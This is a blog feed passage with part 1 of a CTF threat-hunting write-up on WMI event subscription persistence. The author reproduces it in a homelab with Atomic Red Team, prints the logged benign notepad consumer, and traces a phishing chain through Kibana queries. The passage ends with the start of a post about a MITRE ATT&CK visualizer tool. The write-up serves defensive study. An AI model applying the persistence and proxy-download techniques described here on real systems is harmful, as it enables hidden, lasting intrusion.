&lt;h2 id="understanding-wmi-persistence"&gt;Understanding WMI Persistence&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Question 1. The Threat Hunting process usually starts with the analyst making a hypothesis about a possible compromise vector or techniques used by an attacker. In this scenario, your initial hypothesis is as follows: "The attacker used the WMI subscription mechanism to obtain persistence within the infrastructure". Verify this hypothesis and find the name of the WMI Event Consumer used by the attacker to maintain his foothold.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;So the question tells us that the attacker used WMI subscription to gain persistence in our network.&lt;/p&gt;
&lt;p&gt;The very first thing I did was to check the Mitre ATT&amp;amp;CK wiki for information about this attack. My search led me to the "&lt;a href="https://attack.mitre.org/techniques/T1546/003/"&gt;Event Triggered Execution: Windows Management Instrumentation Event Subscription&lt;/a&gt;" with technique ID &lt;code&gt;T1546.003&lt;/code&gt;. And, of course, I fired up &lt;a href="https://www.accidentalrebel.com/new-tool-preview-vattack.html"&gt;my vATT&amp;amp;CK tool&lt;/a&gt; to better visualize the technique and its related information.&lt;/p&gt;
&lt;p&gt;&lt;img alt="cyber-corp-case-2-writeup-01" src="https://www.accidentalrebel.com/images/cyber-corp-case-2-writeup-01.png" /&gt;&lt;/p&gt;
&lt;h2 id="testing-wmi-persistence-in-my-homelab"&gt;Testing WMI Persistence in my homelab&lt;/h2&gt;
&lt;p&gt;Now that I understand the concept I then checked &lt;a href="https://github.com/redcanaryco/atomic-red-team/blob/36d49de4c8b00bf36054294b4a1fcbab3917d7c5/atomics/T1546.003/T1546.003.md"&gt;the technique's entry&lt;/a&gt; in the Atomic Red Team's repository of adversary emulation techniques. The nice thing about Atomic Red Team is that they have easy-to-follow step-by-step instructions on how to emulate Mitre ATT&amp;amp;CK techniques.&lt;/p&gt;
&lt;p&gt;I took the code on the page and ran it in &lt;a href="building-my-virtual-cybersecurity-home-lab"&gt;my homelab&lt;/a&gt;. I then fired up Windows Event Viewer and looked for entries with event log ID "5681 (WMI activity)". The entry that I found contains the information below:&lt;/p&gt;
&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="k"&gt;Namespace&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;//&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;root&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;subscription&lt;/span&gt;&lt;span class="err"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Eventfilter&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;AtomicRedTeam&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;WMIPersistence&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;Example&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;refer&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;to&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;its&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;activate&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;eventid&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;5859&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="err"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Consumer&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;CommandLineEventConsumer&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;AtomicRedTeam-WMIPersistence-Example&amp;quot;&lt;/span&gt;&lt;span class="err"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;PossibleCause&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Binding&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;EventFilter&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="n"&gt;instance&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;of&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;__EventFilter&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;CreatorSID&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;21&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;96&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;158&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;195&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;131&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;63&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;242&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;87&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;184&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;137&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;245&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;68&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;134&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;233&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="err"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;EventNamespace&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;root\\CimV2&amp;quot;&lt;/span&gt;&lt;span class="err"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;Name&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;AtomicRedTeam-WMIPersistence-Example&amp;quot;&lt;/span&gt;&lt;span class="err"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;Query&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA &amp;#39;Win32_PerfFormattedData_PerfOS_System&amp;#39; AND TargetInstance.SystemUpTime &amp;gt;= 240 AND TargetInstance.SystemUpTime &amp;lt; 325&amp;quot;&lt;/span&gt;&lt;span class="err"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;QueryLanguage&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;WQL&amp;quot;&lt;/span&gt;&lt;span class="err"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="err"&gt;;&lt;/span&gt;
&lt;span class="n"&gt;Perm&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Consumer&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="n"&gt;instance&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;of&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;CommandLineEventConsumer&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;CommandLineTemplate&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;C:\\Windows\\System32\\notepad.exe&amp;quot;&lt;/span&gt;&lt;span class="err"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;CreatorSID&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;21&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;96&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;158&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;195&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;131&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;63&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;242&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;87&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;184&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;137&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;245&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;68&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;134&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;233&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="err"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;Name&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;AtomicRedTeam-WMIPersistence-Example&amp;quot;&lt;/span&gt;&lt;span class="err"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="err"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Since I have Sysmon logging enabled, I also double-checked the logs using the Sysmon event IDs below:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Event ID 19: WmiEvent (WmiEventFilter activity detected)&lt;/li&gt;
&lt;li&gt;Event ID 20: WmiEvent (WmiEventConsumer activity detected)&lt;/li&gt;
&lt;li&gt;Event ID 21: WmiEvent (WmiEventConsumerToFilter activity&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img alt="cyber-corp-case-2-writeup-02" src="https://www.accidentalrebel.com/images/cyber-corp-case-2-writeup-02.png" /&gt;&lt;/p&gt;
&lt;p&gt;As we can see, Sysmon separates the WMIEvents into the different types of WmiEvent activities.&lt;/p&gt;
&lt;h2 id="building-the-query-for-the-kibana-search"&gt;Building the Query for the Kibana search&lt;/h2&gt;
&lt;p&gt;Now that I know what the important IOCs are, I could now create the query to answer the first question of the challenge.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;5861&lt;/li&gt;
&lt;li&gt;("QueryLanguage = " AND "Consumer = ")&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;When the above information is combined, I get the query &lt;code&gt;5861 OR ("QueryLanguage = " AND "Consumer = ")&lt;/code&gt;. Putting this in the Kibana search shows us the one and only entry:&lt;/p&gt;
&lt;p&gt;&lt;img alt="cyber-corp-case-2-writeup-03" src="https://www.accidentalrebel.com/images/cyber-corp-case-2-writeup-03.png" /&gt;&lt;/p&gt;
&lt;p&gt;From there we could easily see the name of the WMI Event Consumer.&lt;/p&gt;
&lt;h2 id="looking-for-the-wmi-subscriber"&gt;Looking for the WMI subscriber&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Question 2. In the previous step, you looked for traces of the attacker's persistence in the compromised system through a WMI subscription mechanism. Now find the process that installed the WMI subscription. Answer the question by specifying the PID of that process and the name of its executable file, separated by a comma without spaces.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Reading the question above, I knew that I needed to look for a process that has happened prior to the WMI subscription. And so, I've set the date range to reflect this.&lt;/p&gt;
&lt;p&gt;&lt;img alt="cyber-corp-case-2-writeup-04" src="https://www.accidentalrebel.com/images/cyber-corp-case-2-writeup-04.png" /&gt;&lt;/p&gt;
&lt;p&gt;I wasn't so sure what to look for next so I just looked out for anything suspicious. Thankfully there is the &lt;code&gt;enrich.ioa.*&lt;/code&gt; set of fields where enrichment is done that indicate suspiciousness. I've set a filter to show entries that have &lt;code&gt;enrich.ioa.max_severity&lt;/code&gt; to &lt;code&gt;exists&lt;/code&gt;. This means it'll only show events that are either &lt;code&gt;high&lt;/code&gt;, &lt;code&gt;medium&lt;/code&gt;, or &lt;code&gt;low&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;These showed some very interesting events:&lt;/p&gt;
&lt;p&gt;&lt;img alt="cyber-corp-case-2-writeup-05" src="https://www.accidentalrebel.com/images/cyber-corp-case-2-writeup-05.png" /&gt;&lt;/p&gt;
&lt;p&gt;It seems like &lt;code&gt;winword.exe&lt;/code&gt; is connecting to an external IP. Very suspicious. Searching the IP &lt;code&gt;188.135.15.49&lt;/code&gt; on VirusTotal reveals that it is indeed malicious.&lt;/p&gt;
&lt;p&gt;&lt;img alt="cyber-corp-case-2-writeup-06" src="https://www.accidentalrebel.com/images/cyber-corp-case-2-writeup-06.png" /&gt;&lt;/p&gt;
&lt;p&gt;If we look at more of the events we will find that there are a lot of malicious activity with the &lt;code&gt;proc_cmdline&lt;/code&gt; that contains the value:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;"C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE" /n "C:!Work\Marketing\Docs\OPEC\OPEC crude oil production.docx" /o ""&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Having seen all of that we can now safely assume that this is the process that we are looking for. Entering the &lt;code&gt;proc_id&lt;/code&gt; along with the proc's file name satisfies question number 2.&lt;/p&gt;
&lt;h2 id="looking-for-the-extracted-archive"&gt;Looking for the extracted archive&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Question 3. The process described in the previous question was used to open a file extracted from the archive that the user received by email. Specify a SHA256 hash of the file extracted and opened from the archive.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;The question said something about a file being opened, and so I added the filters &lt;code&gt;event_type: FileOpen&lt;/code&gt; and &lt;code&gt;proc_file_path: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE&lt;/code&gt; to see what files were opened using Word.exe prior to the WMI subscription. This however showed a lot of files.&lt;/p&gt;
&lt;p&gt;&lt;img alt="cyber-corp-case-2-writeup-07" src="https://www.accidentalrebel.com/images/cyber-corp-case-2-writeup-07.png" /&gt;&lt;/p&gt;
&lt;p&gt;The question also mentioned that the opened file was extracted from an archive received by email. So I added the query &lt;code&gt;*zip* OR *rar*&lt;/code&gt; to find out if there are any "zip" or "rar" files that were processed.&lt;/p&gt;
&lt;p&gt;Sure enough, there was, and one particular really stood out. &lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Process 'c:\program files (x86)\microsoft office\office16\outlook.exe' created file 'c:\users\john.goldberg\appdata\local\microsoft\windows\inetcache\content.outlook\dfn3sfep\report.zip'&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;This tells us that the archive &lt;code&gt;report.zip&lt;/code&gt; was opened via email using the program &lt;code&gt;outlook.exe&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;But what was the generated file when the archive was opened? Looking through the results we could also see one entry that had the &lt;code&gt;enrich.chain&lt;/code&gt; with the value of: &lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;'c:\windows\explorer.exe' ➔ 'c:\program files (x86)\microsoft office\office16\winword.exe' ➔ 'c:\users\john.goldberg\appdata\local\temp\temp1_report.zip\market forecast emea.docx'`. &lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;"Market forecaste emea.docx" was opened via "winword.exe" and we could also see that the temporary folder for it is &lt;code&gt;temp1_report.zip&lt;/code&gt;. Entering the hash for this "docx" file was the correct answer for this question.&lt;/p&gt;
&lt;h2 id="finding-the-actual-malicious-file"&gt;Finding the actual malicious file&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Question 4. The file mentioned in question 3, is not malicious in and of itself, but when it is opened, another file is downloaded from the Internet that already contains the malicious code. Answer the question by specifying the address, from which this file was downloaded, and the SHA256 hash of the downloaded file, separated by commas without spaces.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;If we think about it, we can make the date range smaller by starting our range from when the Zip is extracted and from when the WMI subscription happened. &lt;/p&gt;
&lt;p&gt;&lt;img alt="cyber-corp-case-2-writeup-08" src="https://www.accidentalrebel.com/images/cyber-corp-case-2-writeup-08.png" /&gt;&lt;/p&gt;
&lt;p&gt;There are three "action" keywords specified in the question that I knew I could filter for. This led me to use the query below:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;event_type:NetworkConnection OR event_type:FileOpen OR event_type:FileCreate&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;What I'm looking for is an event where there is a "NetworkConnection" and a "FileCreate" event (these two signify another file is downloaded from the internet), the "FileOpen" is when the file has been opened and therefore triggered the WMI subscription.&lt;/p&gt;
&lt;p&gt;As you can see in the image below, we have a series of events that shows us the three events that we are looking for in the previous paragraph. But because their timestamps are the same, they are all jumbled.&lt;/p&gt;
&lt;p&gt;&lt;img alt="cyber-corp-case-2-writeup-09" src="https://www.accidentalrebel.com/images/cyber-corp-case-2-writeup-09.png" /&gt;&lt;/p&gt;
&lt;p&gt;The way to see if the events happened in the order that we want (Network Connection &amp;gt; FileCreate &amp;gt; FileOpen), then what we can do is to view the surrounding documents on one of the events and see from there. From the image below, we see that the ordering of the events is indeed correct.&lt;/p&gt;
&lt;p&gt;&lt;img alt="cyber-corp-case-2-writeup-10" src="https://www.accidentalrebel.com/images/cyber-corp-case-2-writeup-10.png" /&gt;&lt;/p&gt;
&lt;p&gt;The above tells us two of the answers that we need to answer the 4th question. The IP on the network connection and the hash of the file that was opened.&lt;/p&gt;
&lt;h2 id="finding-the-tricky-technique"&gt;Finding the tricky technique&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Question 5. The malicious code from the file, mentioned in question 4, directly installed a WMI subscription, which we started our hunting with, and also downloaded several files from the Internet to the compromised host. For file downloading, the attacker used a tricky technique that gave him the opportunity to hide the real process, which initiated the corresponding network activity. Specify the SHA256 hash of the operating system component whose functionality was used by the attacker to download files from the Internet.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;So the event that the question is looking for happened after the WMI subscription. I've updated the date range to reflect this.&lt;/p&gt;
&lt;p&gt;&lt;img alt="cyber-corp-case-2-writeup-part-1-11" src="https://www.accidentalrebel.com/images/cyber-corp-case-2-writeup-part-1-11.png" /&gt;&lt;/p&gt;
&lt;p&gt;Initially, I tried doing the same approach as I did before where I would pick up certain "action" keywords from the question. Something similar to the query below:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;(event_type:NetworkConnection OR event_type:FileCreate) AND enrich.ioa.max_severity:*&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Sadly, no matter where I looked it doesn't seem to be what the question is looking for.&lt;/p&gt;
&lt;p&gt;And so, I had to start my search from scratch but this time only focusing on any entries after the WMI subscription that have an existing value in &lt;code&gt;enrich.ioa.max_severity&lt;/code&gt;. This approach worked and it showed me this very interesting entry marked as &lt;code&gt;win_unusual_ie_com_dll_host_process&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img alt="cyber-corp-case-2-writeup-part-1-12" src="https://www.accidentalrebel.com/images/cyber-corp-case-2-writeup-part-1-12.png" /&gt;&lt;/p&gt;
&lt;p&gt;So apparently, "winword.exe" loaded the library "iexproxy.dll", which allowed it to use "iexplore.exe" in downloading several files from the internet. This technique is unfamiliar to me and researching about it only showed &lt;a href="https://cyberpolygon.com/materials/hunting-for-advanced-tactics-techniques-and-procedures-ttps/"&gt;an article from Cyber Polygon&lt;/a&gt;. I'll try to explore this in the future, but at least for now. I have the answer to the question.&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;This is part 1 of my write-up for this challenge. Expect the next part which would have the answer to the question that a lot of people have difficulty answering, which is #9. Until then!&lt;/p&gt;
&lt;p&gt;Edit: &lt;a href="cyber-corp-case-2-writeup-part-2"&gt;Part 2&lt;/a&gt; and &lt;a href="cyber-corp-case-2-writeup-part-3"&gt;Part 3&lt;/a&gt; is now out.&lt;/p&gt;</content><category term="Threat Hunting"/><category term="threat-hunting"/><category term="cyberdefenders"/></entry><entry><title>New Tool Preview: vATT&amp;CK</title><link href="https://www.accidentalrebel.com/new-tool-preview-vattack.html" rel="alternate"/><published>2021-10-18T20:33:00+08:00</published><updated>2021-10-18T20:33:00+08:00</updated><author><name>AccidentalRebel</name></author><id>tag:www.accidentalrebel.com,2021-10-18:/new-tool-preview-vattack.html</id><summary type="html">&lt;p&gt;vATT&amp;amp;CK is a visual relationship mapper for MITRE ATT&amp;amp;CK that shows linked malware, threat groups, mitigations, and subtechniques in a single interactive graph.&lt;/p&gt;</summary><content type="html">&lt;p&gt;I have released a new cybersecurity-related tool called &lt;a href="https://github.com/accidentalrebel/vATTACK"&gt;vATT&amp;amp;CK (Visual ATT&amp;amp;CK)&lt;/a&gt;. It is a relationship visualizer for the Mitre ATT&amp;amp;CK framework.&lt;/p&gt;
&lt;p&gt;&lt;img alt="new-tool-preview-vattack-01" src="https://www.accidentalrebel.com/images/new-tool-preview-vattack-01.png" /&gt;&lt;/p&gt;
&lt;p&gt;What the tool does is that it makes a visual map of the searched technique and all the related information. You can watch a video of the tool in action &lt;a href="https://www.youtube.com/watch?v=xCc7aAqbSNI"&gt;here&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Each node will be colored depending on it's category. The color legends is as follows:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Pink - Related subtechniques&lt;/li&gt;
&lt;li&gt;Orange - Malware that uses the searched technique&lt;/li&gt;
&lt;li&gt;Red - Groups that uses the searched technique&lt;/li&gt;
&lt;li&gt;Blue - Tools that use the searched technique&lt;/li&gt;
&lt;li&gt;Yellow - Mitigations&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;This tool is still in development. I plan to add a number of improvements such as:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Ability to click on nodes and then update the visual map&lt;/li&gt;
&lt;li&gt;Ability to search not just by technique, but also by other categories&lt;/li&gt;
